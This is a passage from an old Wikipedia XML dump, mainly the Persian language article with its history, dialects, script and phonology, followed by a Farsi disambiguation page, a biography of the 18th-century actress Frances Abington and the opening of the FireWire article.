* [http://www.straightdope.com/classics/a2_087.html You say the earth is round? Prove it] (from [[The Straight Dope]])
[http://www.lhup.edu/~dsimanek/febible.htm Biblical arguments for a flat Earth]
* [http://www.stnews.org/Commentary-1068.htm Science &amp; Technology News - 'Debunking The Flat Earth Myth against Christianity']
* [http://archives.math.utk.edu//hypermail/historia/feb00/0164.html Flat Earth Fallacy]
[[de:Flache Erde]]
[[eo:Plata Tero]]

[[Category:Obsolete scientific theories]]</text>
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    <title>Persian language</title>
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      <comment>robot  Modifying: ar, bs, it</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Persian
|nativename=فارسی ''Fârsi'', پارسی ''Pârsi''
|states=[[Iran]] ([[Persian Empire|Persia]]), [[Afghanistan]], [[Tajikistan]], and neighboring countries.
|region=[[Middle East]], [[Central Asia]]
|speakers=61 million native&lt;br /&gt;110 million total
|rank=19th (native speakers)
|familycolor=Indo-European
|fam2=[[Indo-Iranian languages|Indo-Iranian]]
|fam3=[[Iranian languages|Iranian]]
|fam4=[[Western Iranian languages|Western Iranian]]
|fam5=[[Southwestern Iranian languages|Southwestern Iranian]]
|nation=[[Iran]], [[Tajikistan]], [[Afghanistan]]
|agency=[[Academy of Persian Language and Literature]]&lt;br /&gt;[[Academy of Sciences of Afghanistan]]
|iso1=fa|iso2b=per|iso2t=fas
|lc1=prs|ld1=Eastern Persian
|lc2=pes|ld2=Western Persian
|lc3=tgk|ld3=Tajik|ll3=Tajik language
|lc4=aiq|ld4=Aimaq|ll4=Aimaq language
|lc5=bhh|ld5=Bukharic|ll5=Bukharic language
|lc6=deh|ld6=Dehwari|ll6=Dehwari language
|lc7=drw|ld7=Darwazi|ll7=Darwazi language
|lc8=haz|ld8=Hazaragi|ll8=Hazaragi language
|lc9=jpr|ld9=Dzhidi|ll9=Dzhidi language
|lc10=phv|ld10=Pahlavani|ll10=Pahlavani language}}
'''Persian''' (known variously as: فارسی '''Fârsi''' or پارسی ''Pârsi'', local name in [[Iran]], [[Afghanistan]] and [[Tajikistan]], ''[[Tajik language|Tajik]]'', a [[Central Asia]]n dialect, or ''[[Dari (Afghanistan)|Dari]]'', another local name in [[Tajikistan]] and [[Afghanistan]]) is a language spoken in [[Iran]], [[Tajikistan]], [[Afghanistan]], [[Uzbekistan]], [[Bahrain]], [[Iraq]], [[Azerbaijan]], [[Armenia]], Southern [[Russia]], neighboring countries, and elsewhere. Prior to British colonization, Persian was also widely used as a second language in the [[Indian subcontinent]]; it took prominence as the language of culture and education in several Muslim courts in the subcontinent throughout the Middle Ages and became the official court language under the [[Mughal]] emperors. Evidence of its former rank in the region can still be seen by the extent of its influence on [[Hindi]] and [[Urdu]], as well as the popularity that [[Persian literature]] still enjoys in the region. Persian and its dialects have official-language status in the countries of Iran, Afghanistan, and Tajikistan. According to [[CIA World Factbook]], there are 61 million native speakers of Persian language in [[Iran]] [http://www.cia.gov/cia/publications/factbook/geos/ir.html], [[Afghanistan]] [http://www.cia.gov/cia/publications/factbook/geos/af.html], [[Tajikistan]] [http://www.cia.gov/cia/publications/factbook/geos/ti.html] and [[Uzbekistan]] [http://www.cia.gov/cia/publications/factbook/geos/uz.html]. It belongs to the [[Indo-European languages|Indo-European]] language family, and is of the [[Subject Object Verb]] type.

==History==
Persian is a member of the [[Indo-European languages|Indo-European]] family of languages, and within that family it belongs to the [[Indo-Iranian languages|Indo-Iranian]] branch. Scholars believe the [[Iranian languages|Iranian]] sub-branch consists of the following chronological linguistic path: Old Iranian ([[Avestan language|Avestan]] and [[Old Persian language|Old Persian]]) → Middle Iranian (Pahlavi [[Middle Persian]] and several other languages) → Modern Iranian (Persian, [[Pashto]], [[Kurdish language|Kurdish]], and several other languages), c. 900 to present.

[[Old Persian]], the main language of the [[Achaemenid]] inscriptions, should not be confused with the non-Indo-European [[Elamite language]] (see [[Behistun inscription]]). Over this period, the [[morphology (linguistics)|morphology]] of the language was simplified from the complex [[Grammatical conjugation|conjugation]] and [[declension]] system of Old Persian to the almost completely regularized morphology and rigid [[syntax]] of Modern Persian, in a manner often described as paralleling the development of [[English language|English]]. Additionally, many words were introduced from neighboring languages, including [[Aramaic language|Aramaic]] and [[Greek language|Greek]] in earlier times, and later [[Arabic language|Arabic]] and to a lesser extent [[Turkish language|Turkish]]. In more recent times, some Western European words have entered the language (notably from [[French language|French]] and [[English language|English]]).

The language itself has greatly developed during the centuries. Due to technological developments, new words and idioms are created and enter into Persian like any other language. In [[Tehran]] the [[Academy of Persian Language and Literature]] is a center that evaluates the new words in order to initiate and advise their Persian equivalents. In Afghanistan, the [[Academy of Sciences of Afghanistan]] does the same for Afghan Persian (among other languages).

==Nomenclature==
{{mergefrom|The announcement of the Academy of Persian Language and Literature}}
''Persian'', the more widely used name of the language in [[English language|English]], is an Anglicized form derived from [[Latin]] *''Persianus'' &lt; Latin ''Persia'' &lt; [[Ancient Greek|Greek]] ''Persis'', a Hellenized form of Old Persian ''Parsa''. ''Farsi'' is the Arabicized form of Parsi, due to a lack of the /p/ phoneme in Standard Arabic. Native Persian speakers typically call it “Fârsi” in modern usage. [[International Organization for Standardization|ISO]], the [[Academy of Persian Language and Literature]], and many other sources call the language Persian. The government of Afghanistan uses both “Dari” and “Persian” in English communications.

The Academy of Persian Language and Literature as well as many lexicographers have announced that “Farsi” is not the appropriate term to use for the Persian language in English. In the [[ISO 639-1]], the local names form the basis for the language codes and for this reason “fa” is the designation for the Persian language in that system.

==Dialects and close languages==
[[Image:Iranische_Sprachen.jpg|thumb|The region where Persian and other Iranian languages are spoken]]
Communication is generally mutually intelligible between Iranians, Tajiks, and Persian-speaking Afghans; however, by popular definition:
*[[Dari (Afghanistan)|Dari]] is the local name for the eastern dialect of Persian, one of the two official languages of [[Afghanistan]], including [[Hazaragi]] — spoken by the [[Hazara]] people of central Afghanistan.
*[[Tajik language|Tajik]] could also be considered an eastern dialect of Persian, but, contrary to Iranian and Afghan Persian, it is written in the [[Cyrillic script]].

[[Ethnologue]] offers another classification for dialects of Persian language. According to this source, dialects of this language include the following:[http://www.ethnologue.com/show_family.asp?subid=90035]

*'''Western Farsi''' (in Iran)
*'''Eastern Farsi''' (in Afghanistan)
*[[Tajiki]] (in Tajikistan)
*[[Hazaragi]] (in Afghanistan)
*[[Aimaq]] (in Afghanistan)
*Bukharic (in Israel, Uzbekistan)
*Dehwari (in Pakistan)
*Darwazi (in Afghanistan)
*[[Dzhidi]] (in Israel)
*Pahlavani (in Afghanistan)

The following are some of the closely related languages of various Iranian peoples within modern Iran proper:
* [[Mazandarani]], spoken in northern Iran mainly in the province of [[Mazandaran]].
* [[Gileki language|Gileki]] (or ''Gilaki''), spoken in the province of [[Guilan]].
* [[Talysh]] (or ''Talishi''), spoken in northern Iran and southern parts of the [[Republic of Azerbaijan]].
* [[Luri language|Luri]] (or ''Lori''), spoken mainly in the southwestern Iranian province of [[Lorestan]] and parts of [[Khuzestan]].
* [[Tat language|Tat]] (also ''Tati'' or ''Eshtehardi''), spoken in parts of the Iranian provinces of [[East Azarbaijan]], [[Zanjan Province|Zanjan]] and [[Qazvin Province|Qazvin]].
* [[Dari (Zoroastrian)|Dari]] or [[Gabri]], spoken originally in [[Yazd]] and [[Kerman]] by the Zoroastrians of Iran. Also called [[Yazdi]] by some.

==Orthography==
[[Image:Dehkhoda note.jpg|thumb|right|[[Dehkhoda]]'s personal handwriting; a typical [[cursive]] Persian script.]]
The vast majority of modern Persian text is written in a form of the [[Arabic alphabet]]. In recent years the [[Latin alphabet]] has been used by some for technological or internationalization reasons. [[Tajik_language|Tajik]], which is considered by many linguists to be a Persian dialect influenced by [[Russian_language|Russian]], is written with the [[Cyrillic alphabet]] in [[Tajikistan]] (but not in Afghanistan).

===Arabic Alphabet===
{{main|Persian alphabet}}
{{mergeto|Persian alphabet}}
Modern Persian is normally written using a modified variant of the [[Arabic alphabet]].

====Script adoption====
After the conversion of [[Persian Empire|Persia]] to [[Islam]] (see [[Islamic conquest of Iran]]), it took approximately one hundred fifty years before Persians adopted the Arabic alphabet as a replacement for the older alphabet. Previously, two different alphabets were used for the Persian language (''[[Middle Persian]]'', or ''Pahlavi'', at that time): one was also called ''[[Pahlavi]]'' and was a modified version of the [[Aramaic alphabet]], and the other was a native Iranian alphabet called ''[[Dîndapirak]]'' (literally: religion script).

====Additions====
The Persian alphabet adds four letters to the Arabic alphabet, due to the fact that four sounds that exist in '''Persian''' do not exist in [[Arabic language|Arabic]], as they come from completely separate language families. Some people call this modified alphabet the ''[[Perso-Arabic alphabet]]''. The additional four letters are:

{| class=&quot;wikitable&quot; border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;text-align: center&quot;
| '''sound'''
| '''shape'''
| '''Unicode name'''
|-
| [p]
|style=&quot;font-size: larger&quot;| پ
| Peh
|-
| {{IPA|[t&amp;#643;]}} (ch)
|style=&quot;font-size: larger&quot;| چ
| Tcheh
|-
| {{IPA|[&amp;#658;]}} (zh)
|style=&quot;font-size: larger&quot;| ژ
| Jeh
|-
| [g]
|style=&quot;font-size: larger&quot;| گ
| Gaf
|}

====Variations====
Many Persian words with an Arabic root are spelled differently from the original Arabic word. ''Alef with hamza below'' (&amp;nbsp;إ&amp;nbsp;) always changes to ''alef'' (&amp;nbsp;ا&amp;nbsp;); ''teh marbuta'' (&amp;nbsp;ة&amp;nbsp;) usually, but not always, changes to ''teh'' (&amp;nbsp;ت&amp;nbsp;) or ''heh'' (&amp;nbsp;ه&amp;nbsp;); and words using various [[hamza]]s get spelled with yet another kind of hamza (so that مسؤول becomes مسئول).

The letters different in shape are:

{| class=&quot;wikitable&quot; border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;text-align: center&quot;
| '''sound'''
| '''original Arabic letter'''
| '''modified Persian letter'''
| '''name'''
|-
| [k]
|style=&quot;font-size: larger&quot;| ك
|style=&quot;font-size: larger&quot;| ک
| Kaf
|-
| [j] (y) and [i:], or rarely [ɑ:]
|style=&quot;font-size: larger&quot;| ي or ى
|style=&quot;font-size: larger&quot;| ی
| Yeh
|}

The diacritical marks used in the Arabic script, a.k.a. ''[[harakat]]'', are also used in Persian, although some of them have different pronunciations. For example, an Arabic ''[[Damma]]'' is pronounced /u/, while in Persian it is pronounced /o/.

The Persian variant also adds the notion of a pseudo-space to the Arabic script, called a [[Zero-width non-joiner]] (ZWNJ) by the [[Unicode Standard]]. It acts like a space in disconnecting two otherwise-joining adjacent letters, but does not have a visual width.

====Extensions to other languages====
The features of the Persian variant have been taken for other languages, such as [[Pushtu language|Pashto]] or [[Urdu language|Urdu]], and have sometimes been further extended with new letters or punctuation.

===Latin Alphabet===

The '''Universal Persian ([[UniPers]] / Pârsiye Jahâni) Alphabet''' is a Latin-based alphabet created over 50 years ago in Iran and popularized by Mohamed Keyvan, who used it in a number of Persian textbooks for foreigners and travellers. It sidesteps the difficulties of the traditional Arabic-based alphabet, with its multiple letter shapes and ambiguous spellings, and fits particularly well in contemporary electronically written media.

The &quot;'''International Persian Alphabet'''&quot; ([[IPA2]])[http://www.persiandirect.com/projects/ipa2/ipa2_tutor.htm], commonly called '''Pársik''', is another Latin-based alphabet developed in recent years mainly by A. Moslehi, a comparative linguist, as a project defined and maintained under the authority of [http://www.persiandirect.com/ Persian Linguistics Association]. It is claimed to be the most accurate and regular one among Latin-based Persian alphabets in which many linguistic aspects of Modern Persian have been observed; however, its rules are not as simple as that of UniPers.

'''[[Fingilish]]''', or '''Penglish''', is the name given to texts written in Persian using the [[Alphabets derived from the Latin#Basic Latin Alphabet|Basic Latin alphabet]]. It is most commonly used in [[online chat|chat]], [[email]]s and [[Short Message Service|SMS]] applications.

==Phonology==

:''Main article: [[Persian phonology]]''
The Persian language has six vowels and twenty-three consonants, including two affricates {{IPA|/ʧ/}} (ch) and {{IPA|/ʤ/}} (j).
Historically, Persian distinguished length: the long vowels {{IPA|/i:/}}, {{IPA|/u:/}}, {{IPA|/ɑ:/}} contrasting with the short vowels {{IPA|/e/}}, {{IPA|/o/}}, {{IPA|/æ/}} respectively. Modern spoken Persian, however, generally does not make this distinction anymore.

[[Image:Farsi vowel chart.png|left|The vowel phonemes of Persian]]

&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;

&lt;TABLE class=&quot;wikitable&quot; align=&quot;center&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;&gt;
&lt;CAPTION&gt;'''Consonants'''&lt;/CAPTION&gt;
 &lt;TR&gt;
   &lt;TD&gt;&amp;nbsp;&lt;/TD&gt; &lt;TD&gt;&lt;DIV align=center&gt;''labial''&lt;/DIV&gt;&lt;/TD&gt;
   &lt;TD&gt; &lt;P align=center&gt;''alveolars''&lt;/P&gt;&lt;/TD&gt;
   &lt;TD&gt; &lt;DIV align=center&gt;''post-alveolars''&lt;/DIV&gt;&lt;/TD&gt;
   &lt;TD&gt;&lt;P align=center&gt;''velars''&lt;/P&gt; &lt;/TD&gt;
   &lt;TD&gt;&lt;P align=center&gt;''glottals''&lt;/P&gt; &lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;''&amp;nbsp;voiceless stops''&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|p}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|t}} &lt;/DIV&gt;&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|ʧ}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|k}} &lt;/DIV&gt;&lt;/TD&gt;&lt;TD&gt; &lt;DIV align=center&gt; {{IPA|ʔ}} &lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;''&amp;nbsp;voiced stops''&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|b}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|d}} &lt;/DIV&gt;&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|ʤ}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|g}} &lt;/DIV&gt;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;''&amp;nbsp;voiceless fricatives ''&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|f}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|s}} &lt;/DIV&gt;&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt;{{IPA|ʃ}}&lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|x}} &lt;/DIV&gt;&lt;/TD&gt;&lt;TD&gt;&lt;DIV align=center&gt; {{IPA|h}} &lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;&amp;nbsp;''voiced fricatives''&lt;/TD&gt;&lt;TD&gt; &lt;DIV align=center&gt;{{IPA|v}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|z}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|ʒ}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|ɣ}}&lt;/DIV&gt;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;&amp;nbsp;''nasals''&lt;/TD&gt; &lt;TD&gt; &lt;DIV align=center&gt; {{IPA|m}} &lt;/DIV&gt;&lt;/TD&gt; &lt;TD&gt;
    &lt;DIV align=center&gt; {{IPA|n}} &lt;/DIV&gt;&lt;/TD&gt; &lt;TD&gt;&amp;nbsp;&lt;/TD&gt; &lt;TD&gt;&amp;nbsp;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;&amp;nbsp;''liquids''&lt;/TD&gt; &lt;TD&gt;&amp;nbsp;&lt;/TD&gt; &lt;TD&gt;&lt;DIV align=center&gt; {{IPA|l}}, {{IPA|r}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt;&amp;nbsp;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
    &lt;TD&gt;&amp;nbsp;''glides''&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
    &lt;TD&gt;&lt;DIV align=center&gt; {{IPA|j}} &lt;/DIV&gt;&lt;/TD&gt;
    &lt;TD&gt;&amp;nbsp;&lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;/TR&gt;
&lt;/TABLE&gt;

''Note that {{IPA|/ʧ/}} and {{IPA|/ʤ/}} are affricates, not stops.''

==Grammar==

:''Main article: [[Persian grammar]]''

Suffixes predominate Persian morphology, though there are a small number of prefixes. Verbs can express tense and aspect, and they agree with the subject in person and number. There is no [[grammatical gender]] for nouns, nor are pronouns marked for [[natural gender]].

Normal sentences are structured as “(S) (PP) (O) V”. If the object is specific, then the order is “(S) (O + “rɑ:”) (PP) V”.

==Vocabulary==

There are many [[loanword]]s in the Persian language, mostly coming from [[Arabic language|Arabic]], [[English language|English]], [[French language|French]], and the [[Turkic languages]].

Persian has likewise influenced the vocabularies of other languages, especially [[Indo-Iranian languages]] and [[Turkic languages]]. Many Persian words have also found their way into the English language. See [[List of English words of Persian origin]].

==See also==
* [[Academy of Persian Language and Literature]]
* [[Hindu-Arabic numerals]]
* [[Dzhidi language]]
* [[History of Urdu]]
* [[List of English words of Persian origin]]
* [[List of Persian poets and authors]]
* [[Pahlavi literature|Middle Persian literature]]
* [[Persian grammar]]
* [[Persian literature]]
* [[Persian mythology]]
* [[Persian phonology]]
* [[Persian and Urdu]]
* [[The announcement of the Academy of Persian Language and Literature|Persian or Farsi?]] — The announcement of the Academy of Persian Language and Literature

==References==

* Mace, J. (2003). ''Persian Grammar: For reference and revision''. Routledge-Curzon, London.
* Mahootian, S. (1997). ''Persian''. Descriptive Grammars. Routledge, London.
* Windfuhr, G. L. (1987). Persian. In Comrie, B., editor, ''The World’s Major Languages'', pages 523–546. Oxford University Press, Oxford.
* Schmitt, R. (1989). ''Compendium Linguarum Iranicarum''. Wiesbaden: Ludwig Reichert Verlag.

==External links==
{{InterWiki|code=fa}}
* [http://www.farsisites.com/english-farsi-dictionary/ Persian to English and English to Persian Dictionary]
* [http://www.ethnologue.org/show_language.asp?code=prs Ethnologue report for Eastern Persian]
* [http://www.ethnologue.org/show_language.asp?code=pes Ethnologue report for Western Persian]
* [http://www.easypersian.com/ Easypersian.com]
* [http://www.websters-online-dictionary.org/translation/Farsi/ Dictionary] with Persian - English Translations from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
* [http://www.aryanpour.com/ Aryanpour Persian-English English-Persian Dictionary]
* [http://www.lmp.ucla.edu/Profile.aspx?LangID=63 UCLA Language Materials Project: Persian]
* [http://www.unipers.com/ UniPers.com A proposed Latin-based writing system designed specifically for the Persian language.]
* [http://www.persiandirect.com Persian Linguistics Association]
* [http://homepages.nyu.edu/%7Emmk4/AATP.htm American Association of Teachers of Persian (AATP)]
* [http://www.voanews.com/persian VOA’s Persian Language Service]
* [http://www.bbc.co.uk/persian BBC’s Persian Language Service]
* [http://www.dwelle.de/persian Deutsche Welle’s Persian Service]
* [http://iran-heritage.org/interestgroups/language-articles.htm An Online Persian Language Forum]
*[http://www.iranologie.com/history/ilf.html Iranian Language Family]

[[Category:Classical languages]]
[[Category:Iranian culture]]
[[Category:Iranian languages]]
[[Category:Languages of Afghanistan]]
[[Category:Languages of Iran]]
[[Category:Languages of Tajikistan]]
[[Category:Languages of Uzbekistan]]
[[Category:Languages of India]]
[[Category:Languages of Pakistan]]
[[Category:Languages of Russia]]
[[Category:Persian language| ]]

[[ar:لغة فارسية]]
[[az:Fars dili]]
[[bs:Farsi (jezik)]]
[[cs:Perština]]
[[da:Persisk]]
[[de:Persische Sprache]]
[[es:Idioma persa]]
[[eo:Persa lingvo]]
[[fa:فارسی]]
[[fr:Persan]]
[[ko:페르시아어]]
[[hy:Պարսկերեն]]
[[id:Bahasa Persia]]
[[is:Persneska]]
[[it:Lingua persiana]]
[[he:פרסית]]
[[ka:სპარსული ენა]]
[[kw:Persek]]
[[ku:Farsî]]
[[la:Lingua Persica moderna]]
[[lv:Farsi]]
[[li:Perzisch]]
[[hu:Perzsa nyelv]]
[[nl:Nieuw-Perzisch]]
[[ja:ペルシア語]]
[[no:Persisk språk]]
[[nn:Farsi]]
[[pl:Język perski]]
[[pt:Língua persa]]
[[ru:Персидский язык]]
[[sr:Персијски језик]]
[[fi:Persian kieli]]
[[sv:Persiska]]
[[tt:Farsı tele]]
[[th:ภาษาเปอร์เซีย]]
[[tr:Farsça]]
[[zh:波斯語]]</text>
    </revision>
  </page>
  <page>
    <title>Farsi</title>
    <id>11601</id>
    <revision>
      <id>40673623</id>
      <timestamp>2006-02-22T05:16:07Z</timestamp>
      <contributor>
        <username>Houshyar</username>
        <id>894928</id>
      </contributor>
      <text xml:space="preserve">'''Farsi''' may refer to:

* [[Persian language]], spoken in various parts of the near east
*[[Farsi Island]], an Iranian island in the Persian Gulf
*the Jafari [[Shia]] [[Tajiks]] of Central Asia.

People,

* [[Salman the Persian]] (Salman al-Farsi), one of the prophet Muhammad's companions
* [[Al-Farisi]] (1260-1320), Persian mathematician and physicist.
*[[Jalaleddin Farsi]], a presidential candidate in Iran.
* [[Fouad al-Farsi]], Saudi Information Minister. 

{{disambig}}

==External links==
{{Commonscat|Farsi}}
{{wikiquote}}
* [http://www.farsisites.com/english-farsi-dictionary/ Persian (Farsi) to English and English to Persian Dictionary]
* [http://www.farsichat.com/ A place to speak and practice Persian (Farsi) with other Persian speaking users around the world]
* [http://www.farsisites.com/ an open directory project of dedicated to collection list of Persian Sites]
*[http://public.csusm.edu/persian/ Some Persian links]


[[bs:Farsi]]
[[fr:Farsi]]</text>
    </revision>
  </page>
  <page>
    <title>Frances Abington</title>
    <id>11603</id>
    <revision>
      <id>36703025</id>
      <timestamp>2006-01-25T22:24:09Z</timestamp>
      <contributor>
        <username>Layla12275</username>
        <id>830713</id>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Frances''' or '''Fanny Abington''' ([[1737]] &amp;ndash; [[March 4]], [[1815]]) was an [[England|English]] [[Actor|actress]].

She was born '''Frances Barton''', the daughter of a private soldier, and began her career as a flower girl and a street singer.  As servant to a [[France|French]] [[milliner]], she learned about costume and acquired a knowledge of [[French language|French]] which afterwards stood her in good stead.  Her first appearance on the stage was at [[The Haymarket]] in [[1755]] as Miranda in [[Susannah Centlivre|Mrs Centlivre]]'s play, ''Busybody''. In [[1756]], on the recommendation of [[Samuel Foote]], she became a member of the [[Drury Lane]] company, where she was overshadowed by Mrs Pritchard and [[Kitty Clive]].  In [[1759]], after an unhappy marriage to her music teacher, a royal trumpeter, she is mentioned in the bills as &quot;Mrs Abington&quot;.  Her first success was in [[Ireland]] as Lady Townley, and it was only after five years, on the pressing invitation of [[David Garrick]], that she returned to Drury Lane.  There she remained for eighteen years, being the first to play more than thirty important characters, notably [[Lady Teazle]] ([[1777]]).  Her Shakespearean heroines -Beatrice, [[Portia]], [[Desdemona (Othello)|Desdemona]] and [[Ophelia (character)|Ophelia]] - were no less successful than her comic characters - Miss Hoyden, Biddy Tipkin, Lucy Lockit and Miss Prue.  It was as the last character in ''[[Love for Love]]'' that Sir [[Joshua Reynolds]] painted his best portrait of her.  In [[1782]] she left Drury Lane for [[Covent Garden]].  After an absence from the stage from [[1790]] until [[1797]], she reappeared, quitting it finally in [[1799]].  Her ambition, personal wit and cleverness won her a distinguished position in society, in spite of her humble origin.  Women of fashion copied her clothing, and a head-dress she wore was widely adopted and known as the ''Abington cap.''

==References==
*{{1911}}

[[Category:1737 births|Abington, Frances]]
[[Category:1815 deaths|Abington, Frances]]
[[Category:English actors|Abington, Frances]]
[[Category:English stage actors|Abington, Frances]]</text>
    </revision>
  </page>
  <page>
    <title>Free software definition</title>
    <id>11604</id>
    <revision>
      <id>15909342</id>
      <timestamp>2003-09-07T04:14:27Z</timestamp>
      <contributor>
        <username>Dysprosia</username>
        <id>14486</id>
      </contributor>
      <comment>mk redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Free software]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental Dimensions</title>
    <id>11605</id>
    <revision>
      <id>15909343</id>
      <timestamp>2002-10-10T17:11:26Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Fundamental unit]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental unit]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamtenal</title>
    <id>11607</id>
    <revision>
      <id>15909345</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental]]

</text>
    </revision>
  </page>
  <page>
    <title>FireWire</title>
    <id>11608</id>
    <revision>
      <id>41654663</id>
      <timestamp>2006-02-28T20:54:47Z</timestamp>
      <contributor>
        <username>Rufus Sarsaparilla</username>
        <id>666229</id>
      </contributor>
      <minor />
      <comment>/* Security issues */   -- I think &quot;sinks&quot; was actually what was intended.</comment>
      <text xml:space="preserve">[[Image:Firewire6-pin.jpg|thumb|A 6-Pin FireWire 400 connector]]
'''FireWire''' (also known as '''i.Link''' or '''[[Institute of Electrical and Electronics Engineers|IEEE]] 1394''') is a [[personal computer]] (and digital [[digital audio|audio]]/[[digital video|video]]) [[serial bus]] interface standard, offering high-speed communications and [[isochronous]] [[real-time]] data services. FireWire has replaced [[SCSI]] in many applications due to lower implementation costs and a simplified and more adaptable cabling system.

Almost all modern digital [[camcorder]]s have included this connection since [[1995]]. Many computers intended for home or professional audio/video use have built-in FireWire ports including all [[Apple Macintosh|Macintosh]] and [[Sony]] computers currently produced. FireWire was also an attractive feature on the Apple [[iPod]] for several years, permitting new tracks to be uploaded in a few seconds and also for the battery to be recharged concurrently with one cable. 

==Standards and versions==
[[Image:Logo firewire125.png|right|FireWire color logo]]
FireWire was developed by [[Apple Computer]] in the 1990s, after work defining a slower version of the interface by the IEEE 1394 working committee in the 1980s. IEEE proposed the [[standardization|standard]] as a serial replacement for the [[SCSI]] bus. Apple's development was completed in [[1995]]. It is defined in IEEE standard 1394 which is currently a composite of three documents: the original IEEE Std. 1394-1995, the IEEE Std. 1394a-2000 amendment, and the IEEE Std. 1394b-2002 amendment. Sony's implementation of the system is known as i.Link, and uses only the four signal pins, discarding the two pins that provide power to the device in favor of a separate power connector on Sony's i.Link products.

The system is commonly used for connection of [[data storage device]]s and [[digital video]] cameras, but is also popular in industrial systems for [[machine vision]] and professional audio systems. It is used instead of the more common [[Universal Serial Bus|USB]] due to its faster effective speed, higher power distribution capabilities, and because it does not need a computer host. Perhaps more importantly, FireWire makes full use of all SCSI capabilities and, compared to USB 2.0 High Speed, has higher sustained data transfer rates, a feature especially important for audio and video editors.

However, the small royalty that Apple Computer and other [[patent]] holders have initially demanded from users of FireWire (US$0.25 per [[end-user]] system) and the more expensive hardware needed to implement it (US$1&amp;ndash;$2) has prevented FireWire from displacing USB in low-end mass-market computer peripherals where cost of product is a major constraint.
[[Image:Firewire4-pin.jpg|thumb|A 4-Pin FireWire 400 connector. This connector is not powered.]]

FireWire can connect together up to 63 [[computer peripheral|peripherals]] in an [[directed acyclic graph|acyclic]] network structure (hubs, as opposed to [[SCSI]]'s linear structure). It allows [[peer-to-peer]] device communication, such as communication between a [[scanner (computing)|scanner]] and a [[computer printer|printer]], to take place without using system memory or the [[Central processing unit|CPU]]. FireWire also supports multiple [[host]]s per bus. USB requires a special [[chipset]] to perform the same function, effectively resulting in the need for a unique and expensive cable, whereas FireWire requires only a cable with the correct number of pins on either end - (normally 6). It is designed to support [[plug-and-play]] and [[hot swap]]ping. Its six-wire cable is not only more convenient than SCSI cables but can supply up to 45 [[watt|watts]] of power per port at 30 volt typically, allowing moderate-consumption devices to operate without a separate power cord. The Sony-branded i.Link usually omits the power part of the cable/connector system and uses a 4-pin connector.  Power is provided by a separate power adaptor.

FireWire 400 can transfer data between devices at 100, 200, or 400 [[SI prefix|Mbit/s]] data rates (actually 98.304, 196.608, or 393.216 [[SI prefix|Mbit/s]], but commonly referred to as S100, S200, and S400). Although USB2 claims to be capable of higher speeds (480Mbit/s), FireWire is, in practice, faster. Cable length is limited to 4.5 [[metre]]s but up to 16 cables can be [[daisy chain]]ed yielding a total length of 72 meters under the specification.

